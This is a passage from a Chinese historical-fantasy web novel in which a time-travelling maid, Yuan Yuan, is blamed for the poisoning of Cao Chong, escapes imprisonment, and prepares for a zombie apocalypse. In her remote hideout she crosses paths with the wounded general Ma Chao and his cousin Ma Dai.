后来,为了摆脱读书的苦差,袁媛参照现代流行的床上折叠桌画了图纸,请阿昌找人照样做了一张。三国的工匠极其专业,不仅将桌子做得稳固方便,还主动雕刻上了精美的花纹,曹冲惊讶之余,简直爱不释手。
现在,曹冲可以躺着看书、写字、吃饭、喝茶,累了直接倒头就睡,工作休息两不误,再也不会因为无聊折腾袁媛了。
但他喜欢发呆的毛病愈演愈烈。
虽然盯着书,但如果仔细观察,就会发现曹冲的目光根本没有聚焦。虽然他面无表情,但袁媛直觉地知道,他非常享受这种抽离于世界之外的走神与放空。
袁媛的眼皮有千万斤重,每次努力睁开都半途而废,每次哈欠都会刺激得眼眶中不由自主地泛起泪花。
为什么就不能放她去睡觉呢!
整齐的脚步声从走廊传来,打断了袁媛心里对曹家祖宗十八代的问候。
暮霞与夕雾一人端着一只一臂长的托盘,盘里摆放着数种不重样的粥羹汤水,热气腾腾,五颜六色。
“七公子,请用昼食!”暮霞与夕雾跪下行礼,晓露和晨曦看了看曹冲神色,配合默契地清空床桌上的杂物,将托盘中的饭食挪到桌上。
从始至终,暮霞和夕雾手里的盘子都纹丝不动。晓露和晨曦忙而不乱,虽然没有交谈过一句话,但两人对每一碗饭食的摆放位置都心意相通,整个布菜环节流畅高效,令人赏心悦目。
袁媛再次感叹四大金刚的专业素养。
虽然她是个废柴,但她的同事们够厉害。四大金刚一人顶俩,四人能把伺候曹冲的活包圆了,她就可以多休息一会儿了。
三国时期,大多数人的饮食习惯已经实现从一日两餐向一日三餐的过度,虽然部分苦寒地区与穷苦人家仍然保留了两餐制的习惯,但贵族家即使是婢女也吃三餐。按照惯例,曹冲用饭的时候袁媛也能趁机回房吃饭,稍作休息后再来换四大金刚中的两个去享用午餐。
然而,曹冲的命令打碎了袁媛的小算盘:“你来伺候我用餐,其他人下去休息吧。”
袁媛瞪眼。
那么多能人,为什么就非得抓住她一个废材不放呢?
早上喂粥已经是飞来横祸,没想到这祸还不单行,一个之后还连着下一个,没完没了。
袁媛的目光可怜巴巴地追随着四大金刚退出屋子,表情里的郁闷都快实
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质化了。
随意从最近的碗里舀了点汤,袁媛把勺子递到曹冲的唇边,犹如一台没有感情的喂饭机器,半点没有四大金刚服侍时的细致温柔。
曹冲挑眉:“你先吃。”
又来?
什么毛病!
以前四大金刚喂饭时,也没见她们有试吃任务。
袁媛没好气:“我先吃了,轮到你吃的时候不都是剩饭了?难道你有怪癖,好好的饭不爱吃,喜欢吃剩饭?”
“你说呢?”曹冲不答反问,眼神中突然迸发的杀意令袁媛心头一跳。
怎么回事?
她从来没有见过如此冰冷凛冽的眼神,混杂着愤怒、强烈的报复欲与决绝,如同烙印一般刻进袁媛的脑海。
曾经看过的无数本宫斗宅斗剧从混沌中惊醒。
一种可能性呼之欲出:“你怀疑,你不是生病,而是有人下毒害你?”
曹冲紧皱的眉头松了松,虽然幅度极其微小,但足以说明他对这种猜测的认可。
袁媛疑惑:“你为什么会怀疑你是中毒呢?”
“你猜?”曹冲不仅不回答,还恶劣地说,“猜中了没有赏,若是猜错了,罚你去墙角顶三个时辰的碗。”
那会死人的!
袁媛绞尽脑汁思考,可惜脑海中却仿佛被迷雾团团笼罩,一点思路都没有。
“要不,您给点提示?”
“没有提示。”曹冲毫无同情心,仿佛看她百思不得其解是件很有趣的事。
袁媛无奈,开始在记忆里疯狂搜索最近发生的异常。
曹冲之前一直安心养病,也放心让四大金刚服侍,直到昨日才突然提出让她守夜。所以,关键的时间转折点是昨日。
昨日发生了什么特别的事吗?
25. 表白
袁媛肉眼可见地圆润了起来。
她是建安二年(公元197年)生人,按照三国人虚岁的算法,已经是十二岁的大姑娘,正处于发育的关键期。吃了曹冲的营养餐,她的身体如同得到了雨露滋养的树苗,每天都以惊人的速度拔节生长。原本低矮的个头在不经意间超过了书架的第二格,取书的时候再也不用踮起脚尖。平坦的胸部逐渐隆起曼妙的曲线,腰肢也日渐变得柔美,脸颊染上了健康的红晕,举手投足间,像一颗破土而出的新芽,灵动舒展,生机勃勃。
与之形成鲜明对比的,是仿佛被遗忘在时间角落里的曹冲,一日不如一日的虚弱了下去。
他已经很少有清醒的时候。
脸色苍白得仿佛树梢上自冬天来临便未曾融化的积雪,瘦脱了形的身体撑不起原本合身的衣服,松垮而空荡。
哪怕仅仅是坐起身,也艰难得仿佛要耗尽他全身的力气。他的话变得非常少,大部分时间都闭眼躺着,一动不动。如果不是微弱的呼吸证明他仍旧与生命进行着顽强的抗争,袁媛几乎要以为他已经驾鹤西去。
他太平静了。
精心策划的试毒计划宣告失败,但他并没有流露出任何失望或者遗憾的情绪。他的眼神中甚至没有对活着的渴望与留恋,仿佛对自己的病情毫不在意,已经没有异议地全盘接受了死亡的命运。
曹冲是这么轻易就会认命的人吗?
不可能!
袁媛敢用项上人头担保,此刻只是暴风雨前的平静。
果然,没多久,曹冲中毒的消息就如同一股飓风,席卷了整个曹府。恐惧与未知张开布满獠牙的嘴,紧紧咬住婢女仆人的神经,一时间人人自危,府中的气氛顿时紧张压抑了起来。
幕后黑手会是曹丕吗?
曹丕名义上是曹冲的兄长,但因为并非同母,关系并不紧密,两人见面的次数屈指可数。他目前正随曹操滞留祖籍地樵郡,距离邺城十万八千里。赤壁之战刚刚大败,曹军的未来风雨飘摇,曹丕在这个节骨眼上有没有闲情逸致找还未成年的幼弟的麻烦还未可知,将手伸到曹冲的身边下毒的难度也不容小觑。
况且,虽然《三国演义》中的曹丕阴
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险狠厉,但袁媛却觉得,曹丕在明知曹植才华横溢的情况下,决定使用“七步成诗”作为判断是否斩杀曹植的标准,与公开放水无异。如果他真想要曹植的命,完全可以要求他“七秒之内举起大鼎”、“七招之内打败徐晃”。选择曹植最擅长的领域作为赛道,不仅平白背负上了“煮豆燃豆萁”的千古骂名,还让曹植全身而退,简直是偷鸡不成蚀把米。
曹丕要真是个成事不足、败事有余的蠢货,也就不可能在曹操的二十几个儿子中脱颖而出,开创曹魏王朝了。
但是,如果不是曹丕,又会是谁呢?
曹冲满打满算也才十三岁,交际十分有限。虽然袁媛经常接触到他毒舌又讨人厌的一面,但那只是因为她身份低下,曹冲不屑于在她面前伪装本性罢了。
面对曹操、环夫人,以及曹操麾下的文臣武将时,曹冲会自动变成另外一副宽宏仁爱、礼贤下士的模样,迷惑了无数世人与史学家。《魏书》中就评价曹冲,“冲每见当刑者,辄探睹其冤枉之情而微理之。及勤劳之吏,以过误触罪,常为太祖陈说,宜宽宥之。”
26. 木板
袁媛被关了起来。
入府三年,她第一次被送到内院的一排仿佛被时间遗忘的矮房。这是曹府专门用来关押罪仆的地方,也是袁媛生命终结前的最后一个停靠站。
她也是第一次知道,平日里温婉可亲的环夫人竟然是个会在担心和恐惧驱使下盲目寻找“替罪羊”,并在一遍遍的自我强化中屏蔽所有理性反驳,在缺乏实证的情况下轻易就将人定罪的蠢货。
悲剧的是,这个蠢货拥有着生杀予夺的特权。
巨大的木板封死了窗户,只留一个窄小的顶口吝啬地透入几分光亮。闻着房间内混合着潮湿和霉腐的恶心味道,袁媛心里有数,这一次她凶多吉少。
全城的郎中都被环夫人请来会诊。虽然曹冲的黑血证明了他中毒已深,但至今无法确定毒物的种类,因此也无法对症下药。无论是服用大量丸剂催吐,还是使用针灸外排毒素,甚至放血,全都无济于事,只是将曹冲羸弱的身体折腾得更加虚弱不堪。
死亡的阴霾笼罩着曹冲。
唯有解药能救他。
曹冲不会像他的母亲那样被失控的情绪左右,但他是环夫人的另一个极端。他极度理智也极度冷漠,仿佛是一台逻辑缜密的计算机,权衡利弊,深思熟虑,永远都能切中问题核心,找到对他有利的最优解。
袁媛至今不清楚曹冲的饭菜里有没有毒,如果他没有不幸地选中袁媛试毒,说不定现在早已锁定凶手、拿到解药。可惜他时运不济,从试毒后依然活蹦乱跳的袁媛反推饮食与药剂无毒,思路受到严重误导。为了让郎中们意识到他并非单纯的重病,而是中毒,他果断公开了中毒的消息,可惜郎中并没能配制出解药,反而将他的底牌暴露在了明处。
如果袁媛是下毒人,在明知曹冲已经加强了戒备的情况下,绝对会就此收手,避开风头。
曹冲再想抓到凶手,难上加难。
还有十天,建安十三年就要走完尾
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声。就目前的情况下,他逆天改命无望,死期就在眼前。
曹冲的恶毒之处在于,他自己不好过,也没打算让袁媛好过。
殉葬是商周遗风,虽然在西汉初年便以法令形式废止,但直到三国仍阴魂不散。许多三国土著认为如果让死者单独走黄泉路难免寂寞,因此费尽心机要给他找个伴。曹操墓中便有两名妙龄女子人殉;孙权为祭奠爱将陈武,曾逼迫陈武的妾室自杀殉葬。
曹冲已经留下遗言,既然袁媛对他痴情不渝,就给她一个体面。等他咽气了,开恩允许袁媛为他陪葬,到阴间服侍他。
袁媛:“呸!”
吐掉硬邦邦的臭馒头,袁媛鼓起勇气,试了口泛着诡异灰黑色的稀粥。舌头碰到粥的刹那,她怀疑自己的味蕾坏掉了。因为喝进嘴里的事寡淡到尝不出任何味道的液体,既不是正常粥羹的粘稠,也不像米汤一般爽口,而是一种无法形容的介于两者间的恶心感。
想吐!
27. 跳湖
夜色如墨。
满天繁星被寒风吹散,缀在漆黑的天幕上倔强地发出微光。月亮从半掩的薄云之后探出脑袋,将清冷的辉光撒在高耸的灰墙上,如同巨大的五指山,将在巷弄小道间穿梭的袁媛牢牢束缚在曹家的掌控中。
她下午的时候就已经能拔掉钉死窗户的木钉,却一直按兵不动,耐心等到半夜才卸下半块木板,蹑手蹑脚地从囚禁她的矮房里爬出来。
冷。
沿着墙根,袁媛在夜色的掩护下深吸一口气,努力从月光与树影间寻找生存的缝隙。
寒风吹起衣袖,将她的裙摆与地上的枯叶卷在一起,沙沙作响。光秃的树枝摇曳,长发随风凌乱,袁媛踮脚飞奔,如履薄冰,绣花鞋在石板路上发出轻微的摩擦,如同催命符一般,逼着她急速向前。
快点,再快点!
袁媛脸色苍白,紧急刹车。
不紧不慢的脚步声从前方聚拢,越来越近。那是正在执行巡逻任务的曹家私兵。高举的火把如同吞噬黑暗的巨龙,在前方连成一条线。
袁媛迅速躲到一片灌木背后俯身蹲下。
脸颊紧贴着冰凉的木枝,她的每一次呼吸都战战兢兢,唯恐一丁点细微的声响会引来私兵的注意。
火把的光影在地上缓缓一动,仿佛嗜血的野兽,一点一点舔上她的发梢鬓角。袁媛低着头,一动都不敢动,整颗心已经提到了嗓子眼。
火光惊险万分地擦着她的头发掠过,直到私兵的脚步声远去,袁媛才尝试着站直双腿,却体验到了一阵仿佛蚂蚁噬咬般的刺痛与沉重。
腿麻了。
她苦笑,忍着痛苦向前方眺望。零星的灯火从房舍中透出来,朦胧而遥远。袁媛辨了辨方位,最亮的那一盏,应该来自曹冲房中。
他这么晚还没睡?
可能是因为症候来得急请了郎中夜诊,又或者是垂死病中惊坐起了?
今天已经是腊月二十九,如果曹冲真如史书记载死于建安十三年,说不定现在已经咽气了。所以,也可能曹冲刚走,环夫人在他房里送他最后一程?
袁媛再次跑了起来。<
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p>她避开了离曹冲房间更近的小路,宁可舍近求远,去穿越一片开阔地带。毕竟,如果曹冲刚死,负责处理丧仪和吊唁的人将源源不断地涌向他的房间,靠近他的房间无异于自投罗网。
但选择几乎没有遮挡物的开阔区域是一场命运的豪赌,无论谁,只要把火把向着袁媛所在的方向照一照,马上就能发现她。
袁媛哈着腰,让身体尽量贴近草丛,几乎像一只兔子一样双手双脚着地,在夜色中极速往前蹦,每一步都如同踩在生死边缘。
不知什么时候起,耳边似乎嘈杂了起来。
火把被逐一点亮,四面八方都有,但并没有向着袁媛直扑过来。虽然看起来声势浩大,但它们更像是没头苍蝇一般,到处乱撞。
难道是曹冲的死讯传开,府中各处都被惊动了?
袁媛根本不敢往自己身上想,心跳如鼓,每一个细胞都竭尽全力地向前奔跑。仿佛只要她跑得够快,心底里的恐惧与害怕就抓不住她。
比她更害怕的是刚刚发现囚室内空无一人的送饭嬷嬷。
28. 听书
春暖花开。
洒了金粉的阳光穿过密集的竹棚与布幌,为赶集的农人镀上了一层耀眼斑驳的辉光。熙熙攘攘的人群中,一个穿着粗布衣裳的十来岁少年在叫卖声与说笑声间灵活穿梭,时而好奇观赏街头的卖艺杂耍,时而被摊位上的小食香气勾得挪不开步,最终却停在一家面铺前,熟练地从布兜里掏出一个布袋,向着柜台后头大声喊:“老板,给我来五斤面!”
“好嘞!”
三人长的柜台后面,一老一少两父子正忙着揉面、拉面。浓郁的面粉味弥漫在空气中,管秤的中年娘子笑盈盈地拿起一团成团的细面掂了掂分量,当着少年的面调整了秤砣的位置,把足量的面装进了布袋里。
“谢啦!”
少年拍拍布袋,直到走出面店,嘴角才不自觉地放松了弧度,脚下坑坑洼洼的碎石路也仿佛因为开心变得有弹性了起来。
貘县是个人口未过千的小县,虽然每月三旬的大集非常有名,能够吸引周边乡镇的大批商户和百姓前来售卖采买,但县内绝大数居民沾亲带故,即使偶有外来户停留,一来二去的也能混个脸熟。
袁媛光顾的这家面店是集市上唯一一家卖生面的,因客群狭小,貘县的米店、粮油店、布料店等等都是独此一家,别无分号。老板们终日来来回回地与固定的几张熟面孔打交道,早就对老主顾们的需求量了如指掌。袁媛初来乍到,为了不引人怀疑,捏造了个战乱中与父母走散流落到此的身世,一人吃饱全家不饿的人设导致她无法购买超过小少年食量的货物,只能多次少量,如同小仓鼠般一点点把米面油往家里搬。
如今已是建安十四年春,算算日子,还有八个月,丧尸病毒就要降临三国。
去年北方遭了瘟疫,曹操所辖的兖州、冀州、幽州等地粮食吃紧,地方百姓生计艰难。如果往东南方向走,赤壁之战刚刚结束,曹操撤退时宁可焚毁大量粮仓,也不愿留一粒米给竞争对手,直接导致荆州南部春荒严重。
江东自古
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便是鱼米之乡,孙权治下相对稳定,但豪强世家林立,顾、朱、陆、张四大家族通过荫户制大量占有土地,并用联姻裹挟孙权形成门阀政治,普通农户若不依附豪强为其耕作,很难实现温饱。且江东豪强普遍倚仗宗族势力维持基层秩序,各村联络有亲,在当地没有根基的外来户一落地,就会被村里的长舌妇询问过往,实在不适合隐姓埋名。
再往南,交州湿热多雨,丛林密布,瘴气横行,疟疾、瘴疠等疾病频发,毒虫猛兽遍地。当地多以部落形式聚居的土著为主,刀耕火种,生活方式非常原始,中原移民往往难以适应。
横向比较,袁媛对自己选择的落脚点非常满意。
她计划在秋季来临前完成末世期间生活必需品的囤货,但直到现在,进度条才堪堪达到百分之五。
任重道远。
袁媛无奈地叹了口气。
要是能像现代社会那样,去超市里一次性买个够就好了。
她不是没有钱。
29. 马超
缰绳一拉,重心后仰,马儿稳稳立定。
袁媛利索地跳下马背,手上拎着米面,肩上挂着菜蔬,步履稳健地走向前方的木屋。
路上一个人都没碰见。
这很正常。
英灵渡距离闹市区有大半日脚程,仿佛是一片漂泊在天地间的孤叶,安静地浮躺在貘县西北部。它是个被世人遗忘的秘境,繁茂的植被随着若隐若现的晨曦与暮色时而模糊,时而清晰,犹如一层随着微风飘荡的面纱,既为附近的一切添上了几分神秘,又形成一道天然屏障,隔绝尘世,为逝者亡魂提供了一个永恒的静谧居所。
它是个专门用来安葬死者的寂静之地。
据说最开始是在建武年间,汉光武帝与公孙述大战,统一巴蜀后将大批战死的兵士尸体就近安置在这里,形成了成片的墓葬区,并安排了守墓人守护逝者亡灵。可惜好景不长。自黄巾之乱起,汉室微弱,天下沸腾,巴郡几次易主,满目疮痍。失去汉王朝的定期供给与控制,守墓人无以为继,不知何时偷偷跑了,只留下数间木屋,便宜了袁媛这个鸠占鹊巢的后来人。
鬼魂是英灵渡的原住民,袁媛是居住在这里的唯一一个活人。
她对此十分满意。
死人不需要社交,不会变成丧尸,也最能保守秘/密。
袁媛把新买来的粮食米面码放在墙角,眼看着原本空无一物的仓库一点点被填满,脸上不由自主地洋溢起满足与喜悦。
她已经计划好,等末日一开始,就躲在木屋里与世隔绝。这里人迹罕至,病毒失去媒介无法快速传播,唯一需要担心的是长着翅膀的丧尸鸟袭击附近的动物,制造出动物丧尸,或者通过粪便感染附近的植物。但总体而言,情况肯定会比平原大陆上的地狱模式友好不少。
这里将是末世中极其罕见的世外桃源。
袁媛已经十分知足。
她把附近动物的情况全都摸排了一遍,大概当初建坟场的时候有人特意清理过,方圆十里并没有虎豹之类的猛兽,最多的就是机敏可爱的兔子和松鼠,它们的天敌黄鼠狼、紫貂、花蛇偶有出没。野猪家族慢悠悠地漫步,忙着用鼻子拱食,看到两脚兽连眼皮子都懒得抬。只闻其声不见其身的各种鸟儿穿梭在林间,自由奔放,清脆动人的鸟叫不绝于耳。
生态环境一流,但也不是没有遗憾。
这里连一只熊猫都没有。
袁媛问过了当地土著,貘县顾名思义,早前确实是熊猫聚集区。但随着人类的涉足,竹林被砍伐开垦成农田,熊猫的食物来源逐渐减少,不得不迁徙到更远的深山老林。只有资深的猎户才敢深入森林去狩猎,其中技艺精湛的一些会在集市上摆摊,手持锋利的尖刀在顾客的注视下把熊猫的肉熟练地切割成厚薄均匀的片状。因为熊猫肉口感没有野猪肉和鹿肉肥嫩,售价要比猪和鹿低五分之一。
血腥又现实。
偶尔也会听说有农妇在村边野地偶遇来人类活动区溜达的熊猫,但这种小概率事件,刚搬来没多久的袁媛可没福分撞上。
理论上来说,有钱能使鬼推磨,如果袁媛真的想要,可以花钱雇猎户帮她抓一只来玩。然而若只是为了满足一下她的好奇心,就让熊猫一家骨肉分离,甚至可能因此丢掉性命,未免也太兴师动众。袁媛不甘心就此放弃,又找不到其他办法,只能有事没事多在熊猫曾经出现过的村道附近闲逛,期待老天开眼,能让她邂逅一次梦中情猫。
可能是她的虔诚感动了上苍,就在她即将放弃,准备回家躺平时,突然听到一阵细微清脆的咬合声,时隐时现,但连续不断,让袁媛忍不住停住了脚步。
很像草食类动物咀嚼的声音!
春天正是春笋成熟的季节,会不会是熊猫吃笋?
要不要过去看?
袁媛踌躇。
她现在所在的位置离村庄不远,相对较为安全,再往前村道走到了尽头,就彻底进入了无主的荒野。不仅熊猫会光顾,其他野兽也会。如果遇上豺狼虎豹,主动上前无异于自投罗网,横死不冤。
况且,熊猫虽然外表可爱,战斗力却一点都不弱,传说中咬合力可达三百公斤,成年后几乎没有天敌。它是杂食动物,以竹、笋为主食,但并不是吃不了肉。
袁媛想要偶遇熊猫,可绝不是想送上门去给它当零食。按照原本的设想,她的理想状态是与其他曾经偶遇熊猫的村妇一样,远远的看一眼这种在后世已经灭绝了的动物,然后根据对方的神情动作辨别有没有危险性。在村民的叙述中,有部分熊猫对人类十分友好,不仅喜欢抱住人类的腿,还会主动用头蹭人类求摸摸,非常可爱。
袁媛没打算在没辨明具体情况前就无脑莽上去,那太危险了。
然而不看一眼就打道回府,她可能会后悔一辈子。
怎么办?
横竖有异能死不了,冲一回吧!
好奇心如同磁铁一般吸住了袁媛的脚步,引着她一步步向着野地深入。咬食的声音更清楚了一些,仿佛盛情的邀请,激得袁媛手心出汗,雷鸣般的心跳疯狂地提醒着危险的来临。
声音更近了,她已经能隐约看到一个坐着的身影,近在眼前!
拨开最后一丛野草,豁然开朗,眼前的景象让袁媛屏住了呼吸。
那不是熊猫,那是个人!
一个身着铠甲,面色苍白的男人!
他的腰部明显受了严重的刀伤,血肉模糊,伤口大得能够清晰地看到血管与白骨。好似已经许久不曾进食,他饿得皮包骨头,像只野兽一样挖出春笋来生啃,嘴唇干裂,一双眼睛却亮得发紫,锐利如鹰。
他看了过来!
袁媛慌忙转身,只求以最快的速度结束这场不幸的相遇,但男人已经高举起了右手,动作快如闪电。他几乎在看到她的瞬间就预判出了袁媛逃跑的方向,手中的马鞭准确无误地卷上她的腰腹,猛然一拉,袁媛的呼声还没来得及落地,人就已经被拉到了男人身边。
一只钢铁般坚硬的手臂掐住了她的喉咙。
“壮士,别,别杀我!”袁媛憋红了脸,徒劳地拍打男人的手臂,从干瘪的气管里艰难地挤出话语求饶。但男人一点都没有
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放松手下的钳制,反而更加狠厉地审视着她,生死只在他一念之间。
就在袁媛以为自己要再一次经历死亡的时候,男人微微卸去了点力道,但手仍旧抵住她的咽喉,目光锐利:“你住在附近?”
袁媛无声点头。隔着这么近的距离,男人身上的血腥味直冲脑门,又臭又冲。
不知是在欣赏她的恐惧还是评估她的可信度,男人盯着她看了一会儿,最终以一种理所当然的强盗语气命令道:“带我去你家,治好我的伤。否则,你也别想活。”
不——袁媛内心的小人疯狂摇头,但只要看一眼男人凶狠的眼神,她就知道,她没有任何选择余地。
鼓起勇气,袁媛认命去扶男人。然而,这比她想象中的要困难许多。男人身高超过一米八,还穿着盔甲,像山一样压在袁媛的肩头,一下子就把她压垮了。
“你,你先站直!”袁媛咬紧牙关,哭丧着脸紧紧抱住男人,使出吃奶的劲像拔萝卜一样把他往前拔,每一步都走得犹如背负千斤重担。
“把我的枪带上。”男人突然开口,袁媛顺着他的手指低头一看,一把长一丈五尺的长枪安静地躺在野草丛里,枪体镀金,虎口吞刃,镏金虎头形的枪头差点闪瞎袁媛的眼。
虎头湛金枪!
整个三国,用枪的人不少,但枪头是虎头形还愿意花钱花心思给它镀上金的,只有一个。
马超。
虎头湛金枪是马超的标志性武器,这男人是猿臂善射,被羌人奉为“神威天将军”的马超马孟起!
袁媛心跳如雷。
马超是汉朝伏波将军马援的十世孙,有万夫不当之勇。他年少成名,早年曾多次拒绝曹操的招揽。建安十三年,马超的父亲马腾和两个弟弟归顺曹操,受诏入朝。马超接管了父亲的部队留守凉州,却头生反骨,丝毫不考虑父亲与弟弟的性命,联合关中诸侯韩遂等人起兵反抗曹操,最终导致马腾被诛杀并且夷灭三族。因此,马超虽然晚年官至骠骑将军,封斄乡侯,风评却不佳,背负了数千年“不忠不孝、不仁不义”的骂名。
眼前的马超刚刚在潼关被曹操大败,不仅父亲与弟弟族人死于曹操的迁怒,自己也损兵折将,仅以身免,准备只身前往汉中投靠张鲁。
可想而知,现在的马超,心情会有多糟糕!
他可不是什么良善之辈,根据史料记载,他曾经血洗历城,不仅杀戮百姓,还放火烧城,真真正正的杀人不眨眼。
袁媛头皮发麻,完全不敢惹这尊杀神,颤抖着双手去提地上的枪。
枪随主人,枪身跟杀神一样的冷硬,仿佛有千钧重,完全不是手无缚鸡之力的袁媛能够承受的。她几乎用尽了全部的力气才勉强把枪尾提起一半,然而根本无法坚持,一不小心就怦然脱手,撞在地上发出低沉的声响。
要完!
武器是古代武将的命根,很多人宁可死老婆,也不愿让趁手的神兵受损。
但她摔了杀神的枪!
袁媛的心也随着撞击声坠落。她一屁股坐在地上,不敢抬眼去看马超的神情。
30. 不敢
出乎意料,马超并没有如袁媛担心的那样暴怒。
尽管他的浓眉随着兵器落地的声响皱成了沟壑深刻的山峰,但他的眼神十分平静,话语也言简意赅。
“捡起来。”
力大如他,大概是很难理解像袁媛这样弱小得连枪都举不起来的生物的。袁媛无法,只能再次握紧枪柄,硬着头皮用力往上提。然而,无论她怎样努力,枪永远都像在地上生根了一般,顶多能离地半尺,再远就会迫不及待地扑回大地母亲的怀抱。
马超的脸上逐渐浮现出不耐烦的神色,他扬起鞭子,恐吓道:“用点力,不然小心我抽你!”
“我用力了!可它太重,我真的举不起来!”袁媛喘着粗气实话实说。
马超不信,脸色阴沉:“此枪仅有三石。”
三石!
袁媛悬着的心终于死了,一屁股坐在地上,结束无谓的挣扎。
三国的一石相当于后世的五十公斤,而女子四十九公斤级抓举的世界纪录也才九十七公斤,还不到两石,而马超竟然指望她能徒手抓起三石的枪!
实在是太抬举她了。
袁媛哭丧着脸:“我拿过最重的东西,也就是锄头斧头这些了,跟你的枪根本没法比,要我把这枪举起来,我是真的做不到啊!”
马超愣住了。
袁媛的弱小超出了他的认知,马超怀疑她不老实。
虽然她看起来小胳膊小腿,瘦弱纤细得不像个男人,但毕竟是个在田里刨食的庄稼汉,怎么可能这么没用?除非她女扮男装。
不会的。
马超第一时间否认了这种猜测。时下女子思想保守,哪怕在最炎热的夏天也要用长袖遮住手臂,绝对不可能跟眼前这个庄稼汉一样穿上短葛,大咧咧把胳膊露出来给外人看。
况且,即使是女人,也不至于弱到连拖着枪走都走不了。
这人的力气,连寻常八九岁的孩童都不如。
马超心中充满鄙夷。
他自幼习武,对人类的身体状况理解较深。经过方才的几次尝试,袁媛的脑
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门上已经渗出了细密的汗珠,双臂的肌肉也因为短时间内爆发式的提拉呈现出仿佛充血似的暗红色,这些都是无法人为伪装的状态,说明她确实尽了力。
但这世界上怎么可能会有这么没用的人呢?
如果在一个月前,马超绝对要把她提溜到行伍里,下死力气调教,因为实在看不惯她这窝囊废的怂样!但考虑到他现在身负重伤,形势比人强,马超只能暂时按耐住心底越来越明显的烦躁,示意袁媛站起来扶住他,慢慢挪过去捡起那把对他来说一点也不重的枪。
真的不重!
神兵在手,马超顺势活动手腕,多年的练武经历让他习惯成自然,顺手就想打出一个起手式,结果突然乐极生悲。
腰部传来的剧痛让他条件反射地把枪深插入地,一手拄枪,一手按腰,身体弯成一张弓,青筋暴起,神情扭曲狰狞。
那一刻,他仿佛被腰痛完全吞噬,曾经秒杀王方、生擒李蒙的骄傲化为乌有。他咬牙靠在袁媛身上,无助地像片即将随风凋零的树叶。
31. 马岱
清晨。
当天边的第一缕晨曦透过浓雾,斑驳地洒在木屋的窗口,袁媛突然被一股诱人的饭香叫醒。她疑惑地坐起身来,揉了揉惺忪的睡眼,深呼吸——没错,真的是饭菜的香味!
那味道非常霸道,横冲直撞地穿透厚厚的墙壁,直击她的五脏庙。仔细分辨,香气中既有米饭的质朴,也有鸡汤的醇厚,还有猪油的浓郁和鱼汤的鲜美,成功唤醒了袁媛的味蕾。
但是,怎么可能呢?
该不是她出现了幻觉吧?
鸟不拉屎的英灵渡里,只有她和马超两个活人。如果不是马超突然痊愈并变性成了田螺姑娘,唯一的可能性就是坟墓里哪个饿极了的英魂掀掉了棺材板,借她的厨房大展了一番身手。
闻这香气,这英魂就义前八成还是个炊事兵。
袁媛强压下疑惑,循着香味来到饭桌旁,琳琅满目的菜品令她瞠目结舌。
一盘清炒的野菜,每一片菜叶都鲜嫩饱满,如翡翠般翠绿晶莹;一锅热气腾腾的鸡汤,澄澈金黄,如琥珀般纯净剔透,袅袅蒸汽令人心生暖意;用五花肉精心烹制的红烧肉静静躺在大碗中,色泽红亮,酥烂鲜嫩,肥而不腻;正中间还有一道豆腐鱼汤,鱼肉经过细致的处理,剔除了刺与鳞片,只保留了细嫩如丝的肉质,吸收了浓汤精华的豆腐块漂浮在表面,让人一眼望去就能感受到它的美味。
袁媛不由自主地咽了咽口水。
恍恍惚惚。
桌上的一切都显得如此不可思议,仿佛是从梦里穿越而来的画面。
“梆!梆!”院子里传来有节奏的敲击,一下一下在屋中回荡,听起来格外有力清晰。
袁媛疑惑地走出木屋,小心翼翼地把自己藏在屋檐投下的阴影里,躲在梁柱背后偷眼往院子中间瞧。
一个穿着朴素藤甲衣的少年手持袁媛的斧头,像砍西瓜似的劈开往日令袁媛头疼的木头,每一次下斧都能让木屑四溅。手腕一转,斧头就如臂使指,指哪劈哪,精准有力。
看样子,不像是坏人。
应该没哪个贼匪在入室抢劫前还帮主人干活的吧?
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>袁媛的目光在少年俊朗的面容与他身旁逐渐垒高的柴火堆之间游移了几秒,最终迈出几步,脸上挂起友好的笑容:“这位小哥,你这是……从哪里来?”
少年闻声抬头,头冠上束着的发带飘在耳后,很礼貌地拎着斧子的木柄双手作揖:“小兄弟莫惊。昨夜我循着哥哥的血迹来此,见灯火已熄,哥哥在房中被安置妥帖,不便打扰小兄弟安睡,便自行寻了空屋过夜。今日早起,见屋中粮米肉菜充足,便自作主张,做了些饭菜给哥哥备着醒来吃,顺手也干些农活,感谢小兄弟昨日对我哥哥伸出援手。”
“小哥不必客气。”袁媛学着三国男人的样子回礼,无比庆幸昨天自己没有轻举妄动。否则,不管是把马超一刀捅了,还是趁他昏睡把他扔去野地里喂狼了,待这位少年找来,都没她的好果子吃。
如果没猜错,这少年也是个在历史上留下了名字的名人。他叫马岱,武力虽略不及马超,但在潼关之战中一合即击败钟繇,盘蛇谷之战活擒孟获,南郑关之战中偷袭魏延,一刀毙命,同样是一名悍将。
32. 毕豆
袁媛的日子重新回到了正轨。
眼下正是春耕时节,沉睡了整个冬季的土壤混合着草木清新的芬芳,带来了大自然最纯粹原始的生命力。
袁媛对马超说要照看土地,并不完全是诓骗他。每天清晨,她都要将草鞋踩入田地里忙碌,用锄头唤醒土壤,小心翼翼地撒下种子。
这是她第一次干农活,找不到实用的农书,也没有老农的指导,所有的方法和步骤都来源于对貘县农人的偷窥,个中技巧全凭自己摸索。她挥动锄头的动作生疏,计算种子间距时也过分紧张精准,但她觉得自己做得还不赖。
她已经囤满了两个地窖的粮食。
三国没有防腐剂,即使是最耐储存的干燥大米、小麦、玉米棒子,也撑不过三年,且随着时间的推移,营养价值会逐年降低,还不可避免地会引来虫害和霉变。这意味着,在末世后期,粮食的紧缺性会加剧,如果她不打算去抢别人的口粮,就必须学会自给自足。
至于种出来的粮食最后能不能进她的肚子,现在还是未知数。
以前人的经验来看,末世发生后人口数量会急剧减少,大片土地荒芜。幸存者自发抱团,成群结队地聚集在少数几个城镇中,无特殊情况不会深入野外冒险。
因为野外不仅有丧尸,还有变异动植物,危险系数非常高。
袁媛只能寄希望于英灵渡足够偏僻,成片荒地中的几间不起眼的木屋不会成为探险者的目标。
一旦断粮,她将被迫回到人类聚集区生活。到时候社会秩序重塑,她一个除了极限修复外没有任何攻击性异能的女人,只会是人类社会中底层的存在,生活之艰难程度可想而知。
还是别想了。
万一她运气好,能在英灵渡一直苟到重返现实世界的接口开启呢?
人总还是要多想想好的可能性,然后才能满怀希望地活下去。
否则就会如马超一般,明明说放弃还为时尚早,却像只失去了航向的破船,在绝望的汪洋里随波逐流,烦躁地等待最终的沉没。
袁媛把窗户打开。
春意
